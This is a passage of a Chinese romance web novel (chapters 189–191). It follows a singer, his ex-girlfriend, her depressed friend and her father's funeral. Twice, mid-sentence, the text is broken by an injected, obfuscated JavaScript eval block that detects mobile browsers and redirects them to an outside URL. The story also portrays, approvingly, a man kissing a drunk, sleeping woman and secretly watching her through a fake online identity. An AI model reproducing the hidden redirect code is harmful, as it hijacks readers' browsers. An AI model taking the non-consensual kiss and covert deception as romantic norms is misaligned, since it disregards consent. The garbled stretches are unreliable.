门被轻声缓慢打开。楚恒走进去,看见床上一团东西鼓得高高的,缩成一团,一动不动。 189. 第 189 章 楚恒动作微不可闻地顿了一下。 ……怎么睡觉还是喜欢盖住头。 他迈步上前,坐在床边,一点点把被子往下扯,露出一张憋得红闷的脸。 黄怀予躺在床上,闭着眼睛,酒意上头,睡得很熟。 楚恒抬起手,一点点拭去她睫毛上还没擦干净的泪珠,她睫毛浓密,蹭在手上痒痒的,来回刮蹭像是海浪。手又一点点往下移,轻柔地抚摸她的脸颊,修长的手指捏住脸颊边的软肉,又放开。最后,移到了那湿润的红唇上,大拇指反复蹭着唇角,来回抚摸着下唇。 她说一年多没有见过面了。其实不是,他经常来江城见她。只是,她不知道。 楚恒专注地看着她的脸。 摸着摸着,突然俯下身去,开始一点一点地亲。 起初克制着动作,很轻柔,轻轻扫过她的眉毛眼睛。亲着亲着,呼吸越来越重,想到她刚刚的话,喉结上下滚动了一下,眼睛直勾勾地盯着她的唇,两秒之后,毫不犹豫地吻了上去。 舌尖一点点撬开她的唇,像是已经在梦中演练了无数遍,久违的纠缠的感觉几乎让他头皮发麻。 他闭着眼极其专注地吻着,呼吸越来越急/促,整个人都伏在了她身上,吻得越来越急、越来越深。 水声在安静的房间里响起,楚恒几近痴迷地吻着她,浑身早就变得滚烫,耳朵和脸颊染上了一片薄红,身下的燥/热感叫嚣着,却又被他克制着往回收。 预感到好像有什么东西要变得越来越不受控,楚恒骤然停下动作,慢慢抽离,盯着她水润的唇,最后埋在她脖颈处平复呼吸。 鼻间是熟悉的发香,他伸出手,揉捏着她的耳垂,随后一点点往上,慢慢移到了她的发间,修长的五指插进她乌黑的发丝里,手指不自觉地抚摸发顶,最后收紧了手臂,紧紧地抱住了她。 “我也想你。” “很想很想。” 怀里的人睡得很熟。她听不到。 他的话,飘散在那场至今都没有停止的风雪里。没有人听到,没有人知晓。 楚恒犯了一个很严重的错误。 他不应该理所应当地觉得这场惊心动魄海誓山盟的恋爱可以消弭两个人之间的距离感,他不应该侥幸地沉浸在热烈的幸福里,而潜意识认为滚烫的爱意、亲吻、承诺可以像火焰岩浆一样融化极地终年的巨大冰川。 爱情太珍贵,太美好,也正因为如此,爱情也太脆弱,太容易被掩盖、被攻击。他低估了其他东西的作用,身份、职业、生活环境差异,这个世界不停地在告诉他,这些东西才是人应该长久追寻的,而爱情在这之间显得如此风花雪月般软弱幼稚。 ——甚至连她本人都是这样说的。她说为了他的事业和前途,分手吧。 他至今都记得那种心脏钝痛的感觉,他想说什么,可是他说不出来。长久的缄默和寂然让他无法表达自己的想法,他想说不应该是这样,可是应该是什么样,他无法宣之于口。 在这400多天的长久孤寂和独处中,在那场至今都没有停止的风雪里,楚恒终于想明白了。 他100%地相信命运。他的命运就是去好好地爱她。除此之外,任何事情都不是他的人生任务。 他是为了爱情而活的。他是为了她而活的。不仅如此,他还认为所有曾经拥有过真爱而最终却为了其他东西而放弃了真爱的人,都是本末倒置,都是大型结构的奴隶,都是冗杂笨重的机器。这个世界很大,那又如何,他是人,他只要她。 他们两个人之间隔着由身份、职业、生活环境差异等“重要东西”构成的遥远距离,就像太阳和冥王星的轨道,44亿公里黑暗的宇宙,早已被规定的近日点。 但是,他能看见光。 太阳光穿过黑暗无垠的宇宙,到达冥王星,需要5.5小时。 黑暗遍布的地方,需要光来作为指引,跟着光,就永远不会迷路。冰川会消解,岩石会崩裂,他的命运就是永远追逐光,永远朝着光前进。 “你会不会嫌我太烦?每天都给你发这么多负能量的内容,连带着你都心情不好了吧。我不该给你发这些的……唉,对不起啦。”这个叫CUP的网友总在深夜一个人埋起来哭泣后又担心自己给别人带来麻烦,像个受伤的小动物一样小心翼翼地道歉。 楚恒俯身,虔诚地在她额头上落下一吻。 窗外月光温柔,五月的江城晚风阵阵,吹动窗帘,他单薄的身躯像是与夜色融为一体。 “请你一直这样需要我吧。”他对着怀里熟睡的人喃喃。 * 黄怀予坚持每周都要和吴如冬见面,看看她的情况。 却发现情况好像越来越遭。 吴如冬和她的父母之间矛盾越来越深。她父母逼得紧,甚至在听说了她已经投了简历收到实习offer之后大发雷霆,直接找去了她的学校,当着所有老师和同学的面扇了她一巴掌,骂她自私胆小,愚蠢至极,不知感恩。 那份实习工作是吴如冬很感兴趣的游戏行业和岗位,她为了面试做了很多准备,终于功夫不负有心人拿到了offer。可是她的父母态度极其强硬地抢过了她的手机,直接向hr打电话说不去了,甚至在电话里大骂游戏公司是不务正业玩物丧志,里面的人都乱七八糟三教九流。 这件事情一传十十传百,周围学院的老师和同学很快就都知道,那个人叫吴如冬,她被家长当众扇巴掌并且取消了实习offer。 黄怀予眼见着看见吴如冬越来越瘦,几乎瘦得皮包骨头,五六月份的夏天居然会发抖。她神思倦怠,眉宇间透着深刻的麻木和茫然,和她说话也要好几秒才能反应。失眠,没食欲,莫名其妙地胃痛,痛得咬牙流泪,却无法在医院查到任何病因。 “……我们去医院看看吧。” 吴如冬低着头,“看过了,查不出来原因。这周还有几门课的考试要准备,下个月就要报夏令营了,去医院只是浪费时间。” “不。我说的是看心理疾病。” 黄怀予下定决心,陪吴如冬去了江城中心医院。在网上看了就诊须知,她原本挂的是神经科。在柜台询问时,对方问“什么病”,黄怀予犹豫许久,选了一个比较相近的词“抑/郁症”。 对方抬起头,看她一眼,又看了一眼她旁边神色麻木瘦骨嶙峋的吴如冬,了然点点头,像是经常做这方面的指引一样,说:“那要改一下。去精神科。” 改了科室,她们上了楼。那是一个单独的科室,黄怀予本以为应该很小很偏僻,也应该比较安静,没什么人。却没想到,一进去,走廊和候诊区全都是密密麻麻的人,一眼看过去竟然全都是年轻面孔,看着全都是大学生的样子,有的甚至还在青春期,尚才中学生。 “啊——” 一旁队伍里突然响起尖叫声。 黄怀予一抖,循声望去,发现是有人发病了。 一旁的人沉默地看着,突然开始有人感同身受,也开始抹眼泪。 几十人在这里排队,却没有人讲话。空气里弥漫着要把人压垮的绝望感,沉默像毒气一样飘散,每个人都如同背着两座大山,眉宇之间锁着消磨不尽的茫然。 吴如冬进了诊疗室。黄怀予在这里呆不下去,想找个窗户呼吸一下新鲜空气,却没想到,一转头,竟然在角落里发现了一个极其熟悉的身影。 ——是金钰。 她坐在角落里,缩在墙角,靠着冰冷的墙壁。没有人陪她,她手里拿着几张病历,脸上还是那副漠然的表情。 在这充满了脆弱迷茫的小小空间里,她倔强地挺直背,好像还是那个冷淡的、高傲的、强大坚硬、高高在上的金钰。她要当成绩最好的第一名,她不屑于别人的关心,她只想要一路升学保研竞争,她觉得所有人都应该和她一样用实用主义看待世界,所以所有人的行为都只是出于利益考量。 黄怀予静静地站在原地,远远地看着她。 她突然觉得这个世界原来这样荒谬。 原来大家都在生着各种各样的病,原来大家都各有各的问题和苦恼,原来大家都在一个人的时候哭泣、抵抗,任何事情都可以逼着人走向灭亡,精神死亡比生理死亡还要痛苦煎熬。 …… 五六月正值期末,黄怀予要一边上课一边考试,还要同时准备雅思,每天早起晚睡,身体充满着疲累。 背着书包走在教学楼的走廊上,她还想着等会的学习计划。 突然一声女生的尖叫声传来,一个黑色的身影突然很快地从一旁的女厕所里逃出来,一下子就没影了。随后一个女生慌里慌张地也从女厕所里跑出来,满脸都是惊慌失措。 “有人偷拍!有变态偷拍!” 黄怀予想也没想就冲了过去。 “怎么回事?” 那女生眼泪不由自主流了出来,结结巴巴哭着说:“我刚刚上厕所,看见下面的隔板有个手机屏幕伸过来了,他在偷拍……那个人刚刚跑出去了!” 黄怀予想起刚刚那个黑色身影,一下子意识到那就是刚刚的偷拍犯。那人一开始就已经跑得没影了,现在去追也无法追到了。 她和女生结伴,一起去找了这栋教学楼的保安,保安说这是老教学楼,没有装监控,所以也无法锁定嫌疑人。两人只能向保安转述了一下两人看到的嫌疑人体貌特征,并且在卫生间贴了告示,希望加强安保巡逻工作。 * 六月,黄怀予考完了一场雅思。还没来得及松口气,她却突然接到了她妈妈的电话。 刘远死了。 黄怀予请了三天的假,买了张票,直奔楚门江边农村。 印象里,她已经有很久都没有回来过了。她妈妈黄薇和她外婆都是楚门城里人,而以前每次回村里,都是来村里刘远家吃年饭。但是自从高三那次闹掰以后,她就再也没有回来过。 黄怀予整个人还是处于很迷茫的状态。对她来说,江城是读大学的地方,楚门是她的家乡。她从没有意识到在楚门会发生任何令人不愉快的事情,她也没有意识到,原来刘远之前那次生病就是预兆。 他得了肺癌。检查出来的时候,已经是晚期。常年抽烟,肺已经烂掉了。 确诊以后,病来势汹汹,人很快就走了。 原来那一次去医院看他,也是这缘分浅淡的父女两人今生的最后一面。 黄怀予站在破旧的农村街道上,周围人讲着楚门农村土话,叽叽喳喳围绕住她。她被不知名不认识的许多本地人和当地习俗推着向前走。 刘远家门口搭了一个临时的大棚。烈日炎炎,太阳毒辣地晒着。刘远的尸体被放在冷冻水晶棺里,按照习俗要在家门口放三天,然后才会转去殡仪馆火化。 18岁的刘子扬是刘远唯一的儿子。按照农村文化,他是独子,是独苗,是单传,是香火,是命根子。他抱着刘远的遗像,走在队伍最前面,长长的队伍围着整个村走了整整一圈。 街边所有的人都在看刘子扬,都在讨论“啊那就是刘远家的儿子。哎呦就这么一个宝贝啊。这小男孩长得真好,又高又帅的”,他很显然也是听到了那些莫名其妙夸赞的话,脸上因为父亲去世的眼泪还未干,一时间实在不知道要用什么态度对待这些几乎充斥他生活中每分每秒的相貌和性别夸赞。 ——而黄怀予,因为是女儿,所以只能在烈日下无人问津地跪着。 她看看远处的刘子扬。又收回目光,缓缓跪得生疼的膝盖,看向面前刘远的棺材,盯着上面的盖子发呆。 …… 尸体被接到了楚门市殡仪馆。 大厅里,尸体躺在正中间,周围摆满花。 按照规矩,子女跪在第一排,其他亲属按照亲疏远近分别往后排。 黄怀予走上前,面无表情,跪在了第一个位置。刘子扬流着泪,抽噎着,跪在了她旁边的第二个位置。 就在这时,旁边一个不认识的亲戚出声提醒: “男丁在第一个。” 黄怀予眼神一滞,随即低下头,干脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她不属于这里。 她不属于这个文明,她不属于这片土地。 她从出生开始就强烈地排斥着这片土地,因为这片土地从很久以前就在更加强烈地排斥着她。 她是她,孤孤单单的一个女人,也是无数被生下来又生下别人的女人。 黄怀予抬起头,看向天空。 湛蓝无云,微风吹过。 她感受到眼泪滑落,她摸着胸口,她听得见自己的声音。 “因为,这里不是我的家乡。我属于自由,我属于光明。” * 三天假很快就要结束。走在楚门的街上,黄怀予也惊觉自己也很久没有回来过这座城市了。 这座家乡城市给她最大的印象是什么?黄怀予其实心里有答案。她上了出租车,直奔人民路酒吧街。 “来了?” 风铃声随着推门的动作响起,酒吧里面光线明亮,李鸣月站在吧台,样子和几年前比起来都没什么变化,一头红发垂下来,正低头擦着手边的杯子。 她没抬头也知道来人是谁,懒洋洋地问了一句,就转身进了厨房,几秒之后端出来一杯冰的酸奶,放在吧台前。 “尝尝。” 她笑眯眯地看着面前的黄怀予,把酸奶往她面前推推,“知道你喜欢喝酸奶,一直都叫人备着。” “上大学了,长大了。这么久都不回来看你小姨,你可真是够没良心的啊。” 李鸣月没想到面前的小姑娘低着头,沉默地听了她说了两句话,突然一下子“哇”地一声大哭起来,随后几步绕开吧台,跑到她面前,一把扑进了她怀里。 笑容僵在脸上,李鸣月几乎被扑得往后栽倒。她小心翼翼拍拍怀里的人的背。 “咋啦,在外面受什么委屈了?” 她的话像是一阵风,钻进黄怀予心里。黄怀予眼泪夺眶而出,怎么也抑制不住。委屈,痛苦,煎熬,全都一起涌了上来,她突然觉得疲累无比,她紧紧抱住了李鸣月,嗅着她身上熟悉的味道。 她想到了以前的很多事情,想到了她单纯洋溢的高中时代,那么愚蠢,那么土气,那么快乐。横冲直撞,张牙舞爪,天真地觉得自己是明日精英,觉得自己青春无敌,觉得世界都会给向她这样的年轻人让路。 楚门夏天的太阳,冬天的风,1969像是梦境里最后的桃花源,她竟觉得恍然若隔世,其实她是不是还没有长大?时间还是停留在2018年,她还是睁眼做题考试闭眼拯救世界的高中生。空气里弥漫着酒的香气,吧台上放着慢悠悠的英文歌,这一切都只是一个光怪陆离的梦。 “知道这家店为什么叫1969吗?” 李鸣月的声音轻飘飘的,像是被蒙上了一层看不清的绸布,带着朦胧的光。 吧台上的蓝牙音响放着EAGLES的《HotelCalifornia》,她轻轻地跟着随口哼了一句。 SoIcalleduptheCaptain Pleasebringmemywine Hesaid Wehaven''thadthatspiritheresince1969 “天真的逝去。青春的消散。自由的沉沦。” “看来,亲眼看着理想被现实世界覆灭是一条成长的必经之路啊。我逃不掉,十年之后的你也逃不掉。” 她笑了一声,突然语气变得认真起来。 “黄怀予。别在这种无法逃避的痛苦里变得麻木。” “你有朋友,有恋人,有亲人。你爱的人都还在你身边。去和TA们见面吧,去和TA们在一起吧。吃点喝点,开心点。要过得开心,要每一天都开心。” “太痛苦的时候,就来1969找我。这里是你永远的家。” 190. 第 190 章 收到雅思成绩单快递的时候,黄怀予紧张得心都要跳出来了。 一打开,她瞳孔骤然一缩。 随后不由自主地笑了起来。 这分数完全够用了。 她想要申请的专业没有严格的小分要求,她一次就直接考过了,而且是一个说出去还能吹一下牛逼的分数。也不枉她这段时间每天都认真备考。 考一次就两千块钱,代价实在太高,她身上沉重的压力总算卸下去一大节。马上就放暑假了,黄怀予顿感轻松,本学期最大的学习任务已经完成,她痛痛快快睡了几天,然后就好好打扮了一番,跟室友出去逛街。 六月份的江城闷热潮湿,步行街人山人海。江城是一个大学生很多的城市,这个城市不缺年轻人,娱乐活动多,各种新兴流行服装餐饮品牌都有,热闹,活力,火辣,带着本地人的暴躁和风风火火。 室友在粉色装修的娃娃店里抓娃娃抓得不亦乐乎。 黄怀予帮她拿着战利品,看着窗外发呆。 娃娃店里放着当下最流行最火的歌,大多数是短视频平台上正当红的歌。她正在放空,突然间,一个熟悉到极点的男声在她耳边晃晃悠悠地响起。 这个男声唱着不知名的歌词,偶尔能听清几个关键词。旋律陌生,但是好听,声音低沉清润。 “……”黄怀予像是被当头打了一棒。 这声音曾在她耳边响过无数次,曾在很多个白日都低下头和她说话,在深夜在她耳边低喘,在某些时候缠绵地叫她宝宝。 她咬着牙,心都被揪了起来,僵硬地站在原地。 是他的歌。 是楚恒的歌。 怎么逛个街都能听见那个明星前任的歌?明明自己的生命中都已经一年多没有那个人的身影了。 一股强烈的割裂感从她心里升起。 不对,他当初不是……他不是因为恋爱曝光而陷入了事业低谷吗?当初他们分手的时候,他粉丝掉了那么多,工作量也锐减,大半年都没有听见他的任何消息了,昨日还是顶流却一夜之间遭受重大打击,怎么也回不到原来的辉煌了。 街边的店一向追求流行,追求吸引顾客,不火的歌根本就不会往外放。娱乐圈新人辈出,一个顶流过去又来新顶流,有什么理由一定要放楚恒的歌? ——最重要的一点,楚恒和她分手前每一张专辑的每一首歌,她都听过。但是现在放的这首歌,她完全没听过。 难道,是最近的新歌? 黄怀予突然清醒过来。 从大三开始她就减少了很多上网的时间,学习压力太大,事情太多,她几乎不怎么了解现在的互联网最新流行趋势,只是周末才会偶尔看一看作为消遣。她不知道现在最新的流行词和流行歌,所以,她也不知道最近什么明星又多了什么八卦。 她突然转过身,一把扯过正在抓娃娃的室友。 室友刚刚又钓上来一个,开心得手舞足蹈,心情很好地问:“怎么啦?” “这,这首歌。”黄怀予努力平静着自己的心情,她觉得心里好像有什么东西要喷薄而出,但是她极其强硬地想把它压下去,她指着旁边大大的音响,努力让自己口齿清晰,“这首歌,你听过吗?” 她脸上满是紧张,连呼吸都停了下来,就这样等待着室友的回答,眼里含着一丝不易被察觉的期待和希冀。 “当然听过了。”室友嘻嘻哈哈笑着说,“你最近学习太认真,没上网吧!这是最近最火的歌了。” 黄怀予咽了口口水,她竟然发现自己手心开始冒汗,“……最火的歌?谁的啊。” “楚恒啊!” “楚恒沉寂好久才发的新专辑,这首歌是里面最火的,叫《5.5小时》。我每天刷抖音都能听见有人用这首歌当背景音乐,火得一塌糊涂。” 室友把刚抓起来的娃娃扔进黄怀予怀里,表情颇有些怀念。 “哎!想当初大一的时候,我还是一路追过《光芒之下》追过来的呢,当时他那几首《孤单行星》《近日点》《太阳》都挺火的。后来都说他谈恋爱了,对象是个素人……结果就大掉粉……不过,其实我觉得也还好吧,虽然他长得也很帅,但是他不是靠实力的吗?你看,这不是一出歌就立刻再次火了。艺人还是得靠作品说话,你说是吧?” “哎哎哎,你干嘛!” 室友瞪大眼睛看着黄怀予把手里所有娃娃全都扔了回来,她手忙脚乱接过,“都说了让你帮我拿一会,你怎么这都不愿意,小气鬼……哎哎!”话还没说完,她就看见黄怀予失魂了似地从口袋里掏出手机,抖着手开始在屏幕上疯狂点着什么。 她凑过去一瞧,发现黄怀予点开了某音乐听歌软件。 搜索栏被点开,根本不用输入“楚恒”两个字,下方的推荐位就已经明晃晃出现了目标关键词,“楚恒”两个字就这样挂在第一名的位置,名字后面还有一簇小小的代表着热门的红色火焰。 “什么神仙产出,一张数字专辑25首歌,词曲全部自作,这写歌天赋,恐怖如斯。” “卧槽!沉寂了一年,楚恒杀回来了!” “不得不说他算得上是近几年最有天赋的新生代创作歌手了,感觉他的词都很有灵气。没塌房之前那么火,顶流待遇,写一首歌就火一首歌,所以当时塌房的时候我还为他真情实感可惜了好一阵子……” “其实当初那件事我至今没懂他到底错哪了?不就是谈了个恋爱吗?照片里也拍到什么特别亲密的行为啊,这怎么就算塌房了,不懂。” “因为他长得帅,女友粉多呗。不过也正常,就算是专业歌手也会有女友粉,更何况他是从爱豆转过来的。” “我这种上了年纪的都已经不关心这些乱七八糟的了,我就知道他歌好听,这就行了,他只要不犯法,谈恋爱与我何干?少关心人家私人生活。” “他们这种唱歌的演戏的,只有谈了恋爱才有感情能写出情歌、能演好感情戏啊!什么体验都没有,写出来的歌不也干巴巴的吗。” “确实,其实关注楚恒作品的话就能很明显感觉到,他solo出道后第一张专辑还没那么腻歪,还有一些类似于《孤单行星》这样比较冷色调的。等到第二张的时候,简直是要泡在蜜里,全是甜甜蜜蜜小情歌,我当时就说这人绝对谈恋爱了。” “这么说起来,那我感觉他现在估计还没跟那位素人嫂子分手吧……《5.5小时》的歌词也挺像热恋中的。” “路转粉了,这首歌真的好听,整张专已经循环一周了。” ……足足几万条评论,不是粉丝控评,几乎全都是路人发言,全都在讨论这张爆火的专辑,爆火的歌,以及对歌手本人的称赞和维护。各个排行榜全是第一名,数字专辑销量排到了今年top5,歌曲名字挂上了热搜。 室友在旁边,够着脖子看了好一会,“说了吧,人家现在很火的!你还不信。” 又想起什么,看着已经对着手机盯了好半晌的黄怀予。 “你啥时候对楚恒这么感兴趣了?之前没见你入坑啊,你以前都从来没提过他。你是路人粉?” 黄怀予恍惚地放下手机。 她像是被抽干了所有力气,一步步往外走。 店外正是下午,阳光正好,人潮如织。她遥遥往左望去,隔着空气,一眼就看见,左边不远处,高级商场的建筑像一把剑一样直插天空,建筑墙体嵌着巨大的LED屏幕。 楚恒就在那个巨型屏幕上,顶着那张完全没变的帅得令人发指的脸,微微扬起下巴,精致的眉眼带着点冷意,冷淡睥睨地看着这座城市下方所有熙熙攘攘的人们。 旁边写着一行黑字:xxx品牌代言人——知名歌手楚恒。 ……他的代言也重新回来了。 黄怀予混在层层叠叠的人群里,呆滞地和广告屏上高高在上的他遥遥相望。 那一瞬间,她涌上来的第一反应,是欣喜。他回来了,他靠着自己的能力打了一场漂亮的翻身仗,他的口碑全靠自己逆转了,越来越多的人愿意为他说话了,他已经又重新站在顶峰了。这是他一直以来的梦想,梦想成真的滋味一定很幸福吧? 可是紧接着,这种欣喜就转而被一种无以复加的惆怅和沮丧代替。果然,这一切都是因为和她分手了。离开她,他的事业运就势如破竹往上涨。他在实现自己梦想和事业上升的道路上,最大的阻碍,就是她。 他因为被曝光了和她的恋情而陷入低谷,却也能凭借着自己的能力重回巅峰。而在这所有的过程里,她只是一个完全的黑色碎片,是成功歌手路上必要经历的九九八十一难,到最后顶流歌手重新归来,打拼事业站上领奖台时,她会成为他获奖感言里“这一路走过来的艰难和不易”的一部分,成为他耀眼人生里毫不起眼的一个素人前任,最大的作用就是让他经历了一夜掉粉几十万的巨大打击,再浴火重生。 黄怀予静静地站在原地。 尖锐的刺痛从心脏传来,慢慢传染到四肢和躯干,她喘着气,惊觉自己怎么呼吸越来越困难。明明站在户外,却觉得周围空气很憋闷,闷得她脑中钝痛。 耳边响起他的声音,是街边音响里正放着这首他最新大火的代表作《5.5小时》,他明明人不在眼前,却像是此时此刻正站在她身后,他的声音铺天盖地把她围绕。 “这首歌名字还挺怪的,叫《5.5小时》。” 室友的嘟囔声猝不及防地插入进来,一下子打断她所有反应过度的幻想。 5.5小时? 黄怀予本能地思考了一下,却突然皱了皱眉,身子晃了一下。 她想到了一个可能,一种概率很低的可能,一种几乎令她毛骨悚然、只是开了一个头就不敢继续往下想的可能。 室友接下来的话轻飘飘的,却像是揭示一切最终结果事实的宣判词,直直地砸进黄怀予心里。 “歌词里写,是因为太阳光照射到冥王星,需要5.5小时。” 黄怀予像是被一盆凉水从头淋到脚,浑身都变得冰凉起来。 “把我当成备忘录吧。” “下晚自习了吗?我算过时间,现在你应该正好下晚自习了。” “今天怎么没发微博?” “你梦见他了?梦见了什么内容?你们在梦里做了什么?” “哦,你这么维护他?” “对不起。对不起。” “我在。我一直在。” “我不会再离开你了。” “讨厌他吗?想他吗?想他什么?” “困了就睡吧,等会在梦里,就可以见到他了。” 眼前一切开始变得模糊,乱七八糟的色彩都变成混杂的色块,什么东西从眼眶里溢出来,砸在了她的手背上,黄怀予恍惚着往下看,是她滚烫的眼泪。 * “出来。” 黄怀予送走了室友,站在江城人来人往的步行街中间,咬着牙,在手机上重重地打字。 “现在。我要见你。” 她按了发送,消息瞬间发送给备注为“5.5”的人。她眼睛一眨不眨地盯着手机屏幕,数着秒,果然不到十秒钟,手机上就出现了“对方正在输入中”的字样,只是这行字走走停停,一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679675|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持续了十几秒,都没有发出来一条消息。 黄怀予面无表情,就这么等着。 对面缓了又缓,却也像是知道自己选择把这几个字作为自己新歌名字的行为迟早会带来这样的结果,于是终于卸下了所有互联网伪装,沉默地发来一句: “在哪。” 又不知是何意地补充一句,“我现在在帝都,明天有通告。” 黄怀予冷哼一声,直接打字。 “江城,胜家酒店八层。三个小时见不到你,直接拉黑。这辈子都别再见面了。” 对面沉默。 五秒后,他发来两个字: “等我。” …… 楚恒到的时候,黄怀予正站在酒店房间的阳台上。 此时已经夜幕四合,温度渐渐凉下来,盛夏夜晚的风带着一点舒适的潮冷。往外俯瞰是璀璨迷人的江景,江上大桥横架,川流不息的车潮像是无数平行移动的星球,五光十色的霓虹灯缀成长江边虚幻缥缈的夜景画卷。 她站在阳台边,穿的还是白天逛街的那一条红色吊带连衣裙,衬得她整个人高高瘦瘦,骨架纤长。风吹过她鬓边的发丝,她漆黑的睫羽也跟着微微颤动起来,像是黑夜里振翅的蝶。 身后传来脚步声。 黄怀予从对着江景的发呆中缓过神来,垂下眸,转身。 在黑暗的房间里,对上前男友那双湿润明亮的桃花眼。 前男友长得可真帅啊。一年多不见,似乎一点变化也没有,皮肤还是那么白,个子还是那么高,穿了一件宽大的黑色卫衣,戴着帽子,裤子上坠着一条闪闪发光的银链,跟着他走动的动作前后晃动。 黄怀予一言不发,盯着他那双眼睛看。 真好看啊,她不甘心地想。 她现在总算明白了网上那些前任文学的心理机制了,这一年多里,自己过得乱七八糟还差点把自己搞抑郁,结果遇见前男友,发现人家触底反弹低谷逆袭变身超级大明星,两相一对比更衬得自己狼狈得不行。 黄怀予阴暗地这么想,也阴暗地这么做了。 也许是她那种强烈的目光太过直接,楚恒眼神晃了晃,勾起一个笑,“这么讨厌我吗,眼神快把我吃了。” 黄怀予冷哼一声,从阳台走进房间,“啪”地把灯打开。 楚恒不适应地眯了眯眼,他看上去是刚下飞机的样子,穿得是很简单的一套衣服,确实是一收到她的消息就直接赶过来了。 那又怎么样?黄怀予气呼呼地在心里切了一声,难道她要对临时把他从帝都叫来这件事感到任何抱歉吗?就算他明天还有通告又怎么样,脚长在他自己身上,是他自己选择过来的。 她径直走到他面前,离他很近,仰头看着他。 他完全没躲,垂眸看她的脸。 黄怀予刚想说话,又突然闻到他身上一股淡淡的香味,皱了皱眉,又迅速往后退了一步,拉开了和他的距离,避免被任何因素干扰到她接下来的质问。 “解释。”她语气生硬。 楚恒顿了顿,仍旧垂眸盯着她的脸看,半晌吐出几个字,“就是你看到的那样。没什么可解释的。” 他这种态度让黄怀予噌地一下就火了。 “没什么可解释的?” “这个微博号在我高三那年就突然过来加我了,到现在四年了,这四年你就这样像双面间谍一样埋伏,你觉得很好玩吗?你觉得这样耍我很好玩吗?还是你就喜欢角色扮演,就喜欢以一个陌生网友的身份来从侧面刺探我的生活、刺探我对你所有的真实想法?” 黄怀予噼里啪啦吼了一大堆,喘着粗气,脸颊都因为激动而变得有些红,却没想到吼了一大堆话,对面这人只是直勾勾地盯着她,然后说出一句: “你瘦了。” 黄怀予牙都快咬碎了,她走近一步,呼吸都变得急促起来。 “恋爱一年多,你愣是一个字都没有告诉过我这件事,你嘴可真严实啊。是心虚?还是等着之后还可以继续用这个网友的身份做事,榨干这个马甲最后一丝利用价值?” “嗯,对,你又猜对了,你确实又成功利用这个马甲继续深入我的生活了。我把你当成心里支柱,什么都跟你说,我半夜对着手机流眼泪跟你剖析我自己的时候,你是不是都躲在对面嘲笑我愚蠢呢?” “这段时间有好好吃饭吗?”楚恒问。 “……”黄怀予气得胸膛都在起伏,她几乎是用吼的声音。 “你凭什么这样利用我?你凭什么这样欺骗我?没恋爱的时候刺探我对你的感情,就这样看着我对你讲我有多喜欢你,分手了还来套我的话,看我像个傻子一样对你恋恋不忘,你是不是心里特别爽?是不是?最后还生怕我没有发现一样,把网名直接作为你新歌的名字昭告天下,怕是我今天来找你质问的事也早在你意料之中吧?这就是你想要的结果吧?” “我何德何能出现在你新歌里?你是大明星,那么有才华,那么多人喜欢你,写首歌就能打破之前所有因为恋情曝光而带来的所有负面影响而重新红起来。你何必在你的新歌里写到我?你何必在你这么重要的作品里提到我?” “我不是你职业生涯中唯一的污点吗?不是害得你在事业巅峰期一下子陷入低谷、大半年都没有工作的害人精吗?” 她话说得难听,楚恒眉头狠狠皱了一下,“你不是。” 他垂眸看着她,轻声说:“听说你雅思过了,恭喜你。要一起去庆祝一下吗。” 啪——。 清脆的巴掌声响起。 楚恒的脸被打得偏向一边。 191. 第 191 章 楚恒被一巴掌打得懵了。 回过神来的时候,眼前的人已经转身就要离开。 他眼底闪过慌乱,迅速上前两步,从身后一把抱住她,手臂炙热地拦在她小腹上,头埋进她侧颈里,声音有点抖,条件反射道歉道: “对不起。” 怀里的人一动不动。几秒后,楚恒感觉到有什么东西砸在了他的手臂上,滚烫的,又很快顺着他手臂的弧度流了下去。 他心里一抖,低头去看。 是她的眼泪。 一滴滴,不停地往下砸,砸在他抱住她小腹的手臂上,直到在他手臂上几乎汇成一小片湿润的湖泊,又随着他的动作往下流。 楚恒一下子就慌了。 手掌往上摸,摸到她的脸,手指沾上一片湿润。 他一点点轻柔地去擦,擦了好半天也没擦干净,于是低下头去吻她的脸。 她挣扎得厉害,楚恒从身后放开她又迅速从走到她身前,弯下腰,有些急切地从口袋里掏出纸巾,一边擦,一边去吻她的眼睛。 “对不起。”他捉住她的手往自己脸上打,明亮湿润的瞳孔注视着她的表情,“再打几下。好吗?对不起。” “我只是不想放弃任何可能会跟你有联系的途径。我只是想换种方式陪伴在你身边,想知道你现在好不好,想竭尽所能去帮你。”他黑眸定定地望着她,喉间干涩,声音沙哑,一字一句道,“‘楚恒’这个前任身份对你来说早就已经是没有任何瓜葛、不想有任何牵扯的存在了,他是艺人,不仅和你的生活毫不相干,反而还会给你带来麻烦。……但是也许‘5.5’这个人,还能简单地给你一些安慰。” “这也是,我现在的身份,唯一能做到的事情了。” 黄怀予被他吻得眼睛湿润,睫毛上都沾满泪珠。 她抬起眼睛,看着他,一字一句问,“你今天来是为了什么。” 楚恒心跳漏了半拍。 他半晌才听见自己的声音,喉咙里已经涌上来涩意,他回答道,“来解释。” 黄怀予嘲讽地看着他,楚恒看见她嘴角扬起的那抹讽刺的笑,就突然眼底一刺,心里钝痛。 那张以前总是笑着的、狡黠地跟他开玩笑逗他、眼里充满爱意而生机勃勃的脸,现在却如此戒备、嘲讽地看着他。他有些狼狈地移开视线,他害怕在她脸上看到这种表情。 “……是实话。今天来是为了解释网络小号的事情。” 干涩的声音响起,他垂眸,坦诚道,“也是为了见你。” “何必呢。”黄怀予笑着看他。 “不是见过了吗?就在这里,胜家酒店八层,你上次不是在我睡着之后来过吗。” 楚恒心头一凉,喉结滚了滚,却发现一个字都无法反驳。 